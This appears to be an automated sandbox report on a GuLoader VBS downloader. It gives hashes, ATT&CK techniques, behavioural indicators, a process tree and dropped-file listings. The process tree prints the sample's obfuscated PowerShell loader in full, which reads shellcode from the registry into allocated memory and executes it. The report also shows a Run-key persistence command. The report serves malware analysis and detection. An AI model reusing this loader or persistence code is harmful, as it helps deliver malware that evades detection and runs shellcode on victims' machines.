guloader | 7d920532b4b748249e809c93368dc5c317479dfa2855df5dc8f559c6936205f9

General

Target

JaffaCakes118_7d920532b4b748249e809c93368dc5c317479dfa2855df5dc8f559c6936205f9.vbs
Size

344KB
MD5

26c1961c629a942788089f89b1cac50c
SHA1

935559fe62e2178e4efc45a31ab1d11488d8412c
SHA256

7d920532b4b748249e809c93368dc5c317479dfa2855df5dc8f559c6936205f9
SHA512

5ca13c271e755ff13a6926a20773af65c4aa755a92f4a4e3891558675acd0738b2fcdf1873bd1545a21ebcae771275ec35ff36c866b0cd9be8970a7f11a415ce
SSDEEP

1536:N64IoY2vqki1BN/cjGRhMR+ebjz9IjRmvog6nCaysWYp2IazMRAt6DziIwNFczqt:KoRyk1SXCXz99vog6jysuMRkmiIY+y

Score

10^/10

guloader defense_evasion discovery downloader persistence

Malware Config

Signatures

Guloader family
guloader
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Checks QEMU agent file 2 TTPs 2 IoCs

Checks presence of QEMU agent, possibly to detect virtualization.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	powershell.exe
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	ieinstal.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Perchl67 = "%Ostun% -w 1 $Indl=(Get-ItemProperty -Path 'HKCU:\\SOFTWARE\\AppDataLow\\').Labbeuvu;%Ostun% -encodedcommand($Indl)"	ieinstal.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
588	powershell.exe
4576	ieinstal.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 588 set thread context of 4576	588	powershell.exe	90

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ieinstal.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
588	powershell.exe
588	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
588	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	588	powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 4448 wrote to memory of 588	4448	WScript.exe	82
PID 4448 wrote to memory of 588	4448	WScript.exe	82
PID 4448 wrote to memory of 588	4448	WScript.exe	82
PID 588 wrote to memory of 4700	588	powershell.exe	84
PID 588 wrote to memory of 4700	588	powershell.exe	84
PID 588 wrote to memory of 4700	588	powershell.exe	84
PID 4700 wrote to memory of 1644	4700	csc.exe	85
PID 4700 wrote to memory of 1644	4700	csc.exe	85
PID 4700 wrote to memory of 1644	4700	csc.exe	85
PID 588 wrote to memory of 4576	588	powershell.exe	90
PID 588 wrote to memory of 4576	588	powershell.exe	90
PID 588 wrote to memory of 4576	588	powershell.exe	90
PID 588 wrote to memory of 4576	588	powershell.exe	90

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_7d920532b4b748249e809c93368dc5c317479dfa2855df5dc8f559c6936205f9.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4448
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "# I n d i   T e t r a   P e r r a d   N d v e   A t t r u p s   E f t e r g i   B e g y n   P u r l i   B a s i   L a v v   H e a d l i   I s b n   a f a r t e r n e   T i l b a g e d a t   H i g h l y r   U n l o v e l i e   G d s k   U d s i g   S p i n c o v a   S a n k e k o   F u n d   d e n o t a t i   S i n s o p s g   Z y g o s   E m p y r e u   T o a s t e d   N o n e n   X e r o g r a p h   L a t i g    
 # P a r t r i   M u t a r o t a t   T r a l l   S e m i h i s t   Z y g o m y c e   T i g e r e n   C e n t r   S t u t   V a g t p o   C h a r m e   K y n d e l m i s   B e t r   l a s s i   P h i l i   l o v o v e r t r   M o u i l l e b r   T u b a t e b i   A f v n n e d e   T w i l i   A l c a i   L t n i n g p u l   M u c i n    
 # S l b e r n e   b i l l e d   T e l e v   V e r d e n s   C o n s e c r   A r b e j d s f o   F e r i e u g e u d   F l a m b   B r i l l e   A d z e r   T h e o r e t i   E n c h a s e   s l a n g   B o r t f    
 $ M a s t e r M i n d   =   [ c h a r ] 3 4   +   " N "   +   " t A l "   +   " l o c "   +   " a t e " + " V i "   +   " r t u a l "   +   " M e m o r y "   +   [ c h a r ] 3 4  
  
 # F i n t m a s k   R o k k e d e   C o n s i   S u b d e f i   N e p o t i s t   P u p i l   F e s t l i g h o l   F o r s t y r   P r o d u k t a n s   N e p h r a d e   R i b b o n f   I n v i o l a t e d   P u d e n t t e   M e l a n c h o   P r o e p i m e r o   S k i f t   M e r k a n t i l i   B e g y n d e l s e   C e r u l e   S o m a   K e g l e r s f r e   T a n d g l a s   O u t p a c e s c r   A a b n i n g   V a n g l    
 # D y s t o m o u s y   E i r e   C a p l i n c   S m r r   S c h a c h t s c   C o l o s t r u   N s e v r d i g e n   S e m i h i   N i t r   M o i r e s m a a p   A t e l i e r   S k o k k   P a r t i c   N o n a c   R a m i   D u c h e s s e    
 # F i n g e r s p i d   A v l s h i n   I n c i v   P r e d e   S t a t i o   r e v i n d   K a i l y a r d e r   E l e a z a r b   P r o p i t   B a s h j   H u l s k e e    
  
  
 A d d - T y p e   - T y p e D e f i n i t i o n   @ "  
 u s i n g   S y s t e m ;  
 u s i n g   S y s t e m . R u n t i m e . I n t e r o p S e r v i c e s ;  
 p u b l i c   s t a t i c   c l a s s   U n e u p h o 1  
 {  
 [ D l l I m p o r t ( " k e r n e l 3 2 " ) ] p u b l i c   s t a t i c   e x t e r n   v o i d   S l e e p E x ( i n t   B r a d y s p 0 ) ;  
 [ D l l I m p o r t ( " u s e r 3 2 " ) ] p u b l i c   s t a t i c   e x t e r n   v o i d   G e t W i n d o w D C ( ) ;  
  
 [ D l l I m p o r t ( " n t d l l " ,   E n t r y P o i n t = $ M a s t e r M i n d ) ] p u b l i c   s t a t i c   e x t e r n   i n t   V i t r o S o l i d ( i n t   U n e u p h o 6 , r e f   I n t 3 2   B i l l e r 2 1 4 , i n t   S t r a n d f , r e f   I n t 3 2   U n e u p h o , i n t   O v e r p a i n t r , i n t   U n e u p h o 7 ) ;  
 [ D l l I m p o r t ( " D 2 s t a m p " ) ] p u b l i c   s t a t i c   e x t e r n   v o i d   P o o l S t a c k ( ) ;  
 [ D l l I m p o r t ( " u s e r 3 2 " ,   E n t r y P o i n t = " E n u m W i n d o w s " ) ] p u b l i c   s t a t i c   e x t e r n   I n t P t r   M o r q q ( u i n t   S t r a n d f 5 , i n t   S t r a n d f 6 ) ;  
 [ D l l I m p o r t ( " k e r n e l 3 2 " ) ] p u b l i c   s t a t i c   e x t e r n   v o i d   R t l M o v e M e m o r y ( I n t P t r   S t r a n d f 1 , r e f   I n t 3 2   S t r a n d f 2 , i n t   S t r a n d f 3 ) ;  
  
 }  
 " @  
 # S e m a n t i   P r e s l i c   R a n u l a s t o   S o i r e e   U n d d r a g e   F u s s p   P l e i   S t e r n   S c o t c h w   S a c c h a r o c   F o d f s   S p a n i e l w   D e m o   H y p o f   S i a l o a n   S t o r m f a l d   F r g e   I n d e k l i m   T j e n   C h a r m   E s p i e r n   S p a t i n g s   T i g h   p o l y i m i d e p   K u e l s e p r   E r i n d   S w e l l   T i l e      
 $ U n e u p h o 3 = 0 ;  
 # R e e m i g r   T a y r   E v a n g e l i   M e c k e l i a n   t e m p e l   D i s a r r a y s   S t r a a l i n g   B a r o s m a p   E m e r g e r s   P o s e t b a s   P r e t r i   A a l a n d s k m a   O v e r t a l    
 $ U n e u p h o 9 = 1 0 4 8 5 7 6 ;  
 # N o r d m n d   F i l k a l d   S e t t e r   P r o p o s i t i   R e n s k   P r e p   M a n d a l a y   A n k r i n g s a f   S a l t i g r a   S j i p p e s o   h o r n i e r   H y g r o   D i n e r s   T r n e n   T r e m a n   G a m l i n g b n    
 $ U n e u p h o 8 = [ U n e u p h o 1 ] : : V i t r o S o l i d ( - 1 , [ r e f ] $ U n e u p h o 3 , 0 , [ r e f ] $ U n e u p h o 9 , 1 2 2 8 8 , 6 4 )  
 # U n e n v i r o   I n d l e v e r e   E f t e   O p a c o u s n   E v e n   C h a r g e r e   S a t s   R e f l   P a m o r t h o p e   u b e k v e m m   D i c t a m   T e l e g r   H i p b e r    
 $ B e g r = ( G e t - I t e m P r o p e r t y   - P a t h   " H K C U : \ S o f t w a r e \ D e f o s s " ) . S a n c y p e s t i  
 # B u n d r e k o   R e k t i f   U n c o m p a t i   H a e v d o v e   O e u v r   P h o t o   S a l t c h u c k e   B o r g h e r r e n   S i k r i n g s s   D u n c h f l i s   A n i m i z e d   L i n i n g t r i   B h a v a n a d   F a v o r i   A p o t y p i c p   S v a l i n   K v a n   C y p r i   F l l e d e   I m p e   S t u d i e k o   D o s m e r e n p a   T a l l   L e v n e d   U n d e r h a a n d   S t e l l e n d e   C l u m s i n   R e h a b   C o l l   S y s t e m f   I d e a i s t i c   I m p u t a b l   G r a v i t a t    
 $ B e d r   =   [ S y s t e m . B y t e [ ] ] : : C r e a t e I n s t a n c e ( [ S y s t e m . B y t e ] , $ B e g r . L e n g t h   /   2 )  
 # T a l e p d a g o   R u s k r e g n e n   O v e r l e w   S k i f   I n i q u i t i e   r o a d w   u d s l u   B e t r k   T o r n e s t r   L u m b a r s   P a r o n   T o r v e h a n d e   U d m a t r i   S i d a l c   M e r c e    
 F o r ( $ i = 0 ;   $ i   - l t   $ B e g r . L e n g t h ;   $ i + = 2 )  
 	 {  
                 $ B e d r [ $ i / 2 ]   =   [ c o n v e r t ] : : T o B y t e ( $ B e g r . S u b s t r i n g ( $ i ,   2 ) ,   1 6 )  
         }  
  
  
 f o r ( $ S t e r e o 1 2 5 = 0 ;   $ S t e r e o 1 2 5   - l t   $ B e d r . c o u n t   ;   $ S t e r e o 1 2 5 + + )  
 {  
 	  
 [ U n e u p h o 1 ] : : R t l M o v e M e m o r y ( $ U n e u p h o 3 + $ S t e r e o 1 2 5 , [ r e f ] $ B e d r [ $ S t e r e o 1 2 5 ] , 1 )  
  
 }  
 [ U n e u p h o 1 ] : : M o r q q ( $ U n e u p h o 3 ,   0 )  
  
  
 "
  2⤵
  - Checks QEMU agent file
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:588
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5o304gkt\5o304gkt.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4700
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8D3C.tmp" "c:\Users\Admin\AppData\Local\Temp\5o304gkt\CSC28649895DE004713BFF08E77C3FA91F8.TMP"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1644
- - C:\Program Files (x86)\internet explorer\ieinstal.exe
    "C:\Program Files (x86)\internet explorer\ieinstal.exe"
    3⤵
    - Checks QEMU agent file
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:4576

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Obfuscated Files or Information

1

T1027

Command Obfuscation

1

T1027.010

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\5o304gkt\5o304gkt.dll

Filesize
3KB

MD5
313ff667afc0a82ec7baad4e1980530f

SHA1
b4ee1d3a3d774157d4930be006e4b37a8e897715

SHA256
ea2775435eb86e7ee313369d214ba2bcd7699ff44dc207e2938b76562f2cd5e3

SHA512
1c1d0ed69a5c31ae28b707dab271cdfa287efb5e2d50bb1845acc0b8d58feb557de27090ad662006448ec17c8a42a6f8153397958f7e549090c91201e8dceb49

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES8D3C.tmp

Filesize
1KB

MD5
aee0be896077067f6cbfed0f524b1c67

SHA1
b4a5dea040b8b7e440200c31965c26d3ffa4594d

SHA256
da306cc8b92635ddbf88e5644f9251dda48939d4fc8c7acffa71e8fb931a2b70

SHA512
b100747fa7398b5662a8c3991292fef83b8cc9c0f768e645aa10d94a68077d54a815c861fa04760d201fda9d4ac648a74648c429845262ed1c0ca538bae95b2e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r01nwgr0.0bf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\5o304gkt\5o304gkt.0.cs

Filesize
706B

MD5
2f2d59ad9746f83211ab41b81f4ffb53

SHA1
3266d96213f29e9d3b556b124df0f617e30e6037

SHA256
841ca0fdae8cb9d8d1c70b96dd57ba4fd2c6df399be995b63028a9e9b218d1b9

SHA512
e5baea9a9115a2cd410894f140099b5c6a2acf494c1f5b6ee773ea2513b067039f4f7dffdb83ca60e7793fbb2be23b29fab1c4a5ca72844d75a77b02696ccde2

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\5o304gkt\5o304gkt.cmdline

Filesize
369B

MD5
83c600fd19c4a05e14b8dc79a7813ee1

SHA1
3ccdd369984fe521d431db9a81964b06d57faa40

SHA256
2ca0f0d1e389426b2031bd293166fa6a6071fcf538a3d1ea68f789a669a981d1

SHA512
bcdd33c95fda74592de65d18e295fe705b0dbca87cf4f798251fe936af5087c58fa699acd1f14cb1227bd016f4c43feede7de0760a18de64050623c6142790cc

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\5o304gkt\CSC28649895DE004713BFF08E77C3FA91F8.TMP

Filesize
652B

MD5
a4964f3a1613629a5ae59e39420d0fa6

SHA1
1d6f627764037377ae1c50456b08612ac59ca7c6

SHA256
b0d6876f6de1840511a562a72065c21f50cf1d4bffae92755d8f0b0d0eac229a

SHA512
cb785f5fc1ebf2e52eecbd6d0036489e241527d07bf26317b3e180b245b3d1e99903e629fd69ba064d23fc8f6c410df716a702e595430adc09e95700bc0a9a39

Download Submit
memory/588-7-0x0000000005F90000-0x0000000005FF6000-memory.dmp

Filesize
408KB

Download
memory/588-2-0x0000000074E70000-0x0000000075620000-memory.dmp

Filesize
7.7MB

Download
memory/588-6-0x0000000005EB0000-0x0000000005F16000-memory.dmp

Filesize
408KB

Download
memory/588-17-0x0000000006080000-0x00000000063D4000-memory.dmp

Filesize
3.3MB

Download
memory/588-18-0x00000000066D0000-0x00000000066EE000-memory.dmp

Filesize
120KB

Download
memory/588-19-0x00000000066F0000-0x000000000673C000-memory.dmp

Filesize
304KB

Download
memory/588-20-0x0000000007F30000-0x00000000085AA000-memory.dmp

Filesize
6.5MB

Download
memory/588-21-0x0000000006C40000-0x0000000006C5A000-memory.dmp

Filesize
104KB

Download
memory/588-5-0x00000000057E0000-0x0000000005802000-memory.dmp

Filesize
136KB

Download
memory/588-4-0x0000000005880000-0x0000000005EA8000-memory.dmp

Filesize
6.2MB

Download
memory/588-3-0x0000000074E70000-0x0000000075620000-memory.dmp

Filesize
7.7MB

Download
memory/588-0-0x0000000074E7E000-0x0000000074E7F000-memory.dmp

Filesize
4KB

Download
memory/588-1-0x00000000050F0000-0x0000000005126000-memory.dmp

Filesize
216KB

Download
memory/588-34-0x0000000006CA0000-0x0000000006CA8000-memory.dmp

Filesize
32KB

Download
memory/588-36-0x0000000007A50000-0x0000000007AE6000-memory.dmp

Filesize
600KB

Download
memory/588-37-0x00000000079E0000-0x0000000007A02000-memory.dmp

Filesize
136KB

Download
memory/588-38-0x0000000008B60000-0x0000000009104000-memory.dmp

Filesize
5.6MB

Download
memory/588-39-0x0000000074E70000-0x0000000075620000-memory.dmp

Filesize
7.7MB

Download
memory/588-41-0x0000000074E70000-0x0000000075620000-memory.dmp

Filesize
7.7MB

Download
memory/588-40-0x0000000074E7E000-0x0000000074E7F000-memory.dmp

Filesize
4KB

Download
memory/588-42-0x0000000074E70000-0x0000000075620000-memory.dmp

Filesize
7.7MB

Download
memory/588-57-0x0000000074E70000-0x0000000075620000-memory.dmp

Filesize
7.7MB

Download
memory/4576-51-0x0000000000400000-0x000000000062B000-memory.dmp

Filesize
2.2MB

Download
memory/4576-43-0x0000000000E00000-0x0000000000F00000-memory.dmp

Filesize
1024KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads